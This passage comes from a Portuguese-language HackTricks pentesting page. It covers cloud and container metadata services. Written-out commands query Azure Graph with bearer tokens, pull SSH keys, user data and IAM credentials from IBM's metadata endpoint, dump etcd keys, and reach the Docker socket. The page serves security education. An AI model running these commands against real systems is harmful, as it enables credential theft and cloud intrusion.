'Authorization' = "Bearer $Token"
|
|
}
|
|
}
|
|
(Invoke-RestMethod @RequestParams).value
|
|
|
|
# API request to graph endpoint (get enterprise applications)
|
|
$Token = 'eyJ0eX..'
|
|
$URI = 'https://graph.microsoft.com/v1.0/applications'
|
|
$RequestParams = @{
|
|
Method = 'GET'
|
|
Uri = $URI
|
|
Headers = @{
|
|
'Authorization' = "Bearer $Token"
|
|
}
|
|
}
|
|
(Invoke-RestMethod @RequestParams).value
|
|
|
|
# Using AzureAD Powershell module witho both management and graph tokens
|
|
$token = 'eyJ0e..'
|
|
$graphaccesstoken = 'eyJ0eX..'
|
|
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc
|
|
|
|
# Try to get current perms over resources
|
|
Get-AzResource
|
|
## The following error means that the user doesn't have permissions over any resource
|
|
Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
|
|
At line:1 char:1
|
|
+ Get-AzResource
|
|
+ ~~~~~~~~~~~~~~
|
|
+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
|
|
+ FullyQualifiedErrorId :
|
|
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
|
|
```
|
|
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
|
|
|
|
{% hint style="warning" %}
|
|
Observe que no IBM, por padrão, os metadados não estão habilitados, então é possível que você não consiga acessá-los mesmo estando dentro de uma VM da IBM Cloud.
|
|
{% endhint %}
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
|
|
-H "Metadata-Flavor: ibm"\
|
|
-H "Accept: application/json"\
|
|
-d '{
|
|
"expires_in": 3600
|
|
}' | jq -r '(.access_token)'`
|
|
|
|
# Get instance details
|
|
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
|
|
|
|
# Get SSH keys info
|
|
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
|
|
|
|
# Get SSH keys fingerprints & user data
|
|
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
|
|
|
|
# Get placement groups
|
|
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
|
|
|
|
# Get IAM credentials
|
|
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
|
|
```
|
|
{% endcode %}
|
|
|
|
A documentação para os serviços de metadados de várias plataformas está descrita abaixo, destacando os métodos pelos quais informações de configuração e tempo de execução para instâncias podem ser acessadas. Cada plataforma oferece endpoints únicos para acessar seus serviços de metadados.
|
|
|
|
## Packetcloud
|
|
|
|
Para acessar os metadados do Packetcloud, a documentação pode ser encontrada em: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
|
|
|
|
## OpenStack/RackSpace
|
|
|
|
A necessidade de um cabeçalho não é mencionada. Os metadados podem ser acessados através de:
|
|
|
|
* `http://169.254.169.254/openstack`
|
|
|
|
## HP Helion
|
|
|
|
A necessidade de um cabeçalho também não é mencionada aqui. Os metadados estão acessíveis em:
|
|
|
|
* `http://169.254.169.254/2009-04-04/meta-data/`
|
|
|
|
## Oracle Cloud
|
|
|
|
O Oracle Cloud fornece uma série de endpoints para acessar vários aspectos de metadados:
|
|
|
|
* `http://192.0.0.192/latest/`
|
|
* `http://192.0.0.192/latest/user-data/`
|
|
* `http://192.0.0.192/latest/meta-data/`
|
|
* `http://192.0.0.192/latest/attributes/`
|
|
|
|
## Alibaba
|
|
|
|
O Alibaba oferece endpoints para acessar metadados, incluindo IDs de instância e imagem:
|
|
|
|
* `http://100.100.100.200/latest/meta-data/`
|
|
* `http://100.100.100.200/latest/meta-data/instance-id`
|
|
* `http://100.100.100.200/latest/meta-data/image-id`
|
|
|
|
## Kubernetes ETCD
|
|
|
|
O Kubernetes ETCD pode armazenar chaves de API, endereços IP internos e portas. O acesso é demonstrado através de:
|
|
|
|
* `curl -L http://127.0.0.1:2379/version`
|
|
* `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
|
|
|
|
## Docker
|
|
|
|
Os metadados do Docker podem ser acessados localmente, com exemplos dados para recuperação de informações de contêiner e imagem:
|
|
|
|
* Exemplo simples para acessar metadados de contêineres e imagens via o socket do Docker:
|
|
* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
|
* Dentro do contêiner, use curl com o socket do Docker:
|
|
* `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
|
|
* `curl --unix-socket /var/run/docker.sock http://foo/images/json`
|
|
|
|
## Rancher
|
|
|
|
Os metadados do Rancher podem ser acessados usando:
|
|
|
|
* `curl http://rancher-metadata/<version>/<path>`
|
|
|
|
{% hint style="success" %}
|
|
Aprenda e pratique Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprenda e pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
{% endhint %}
|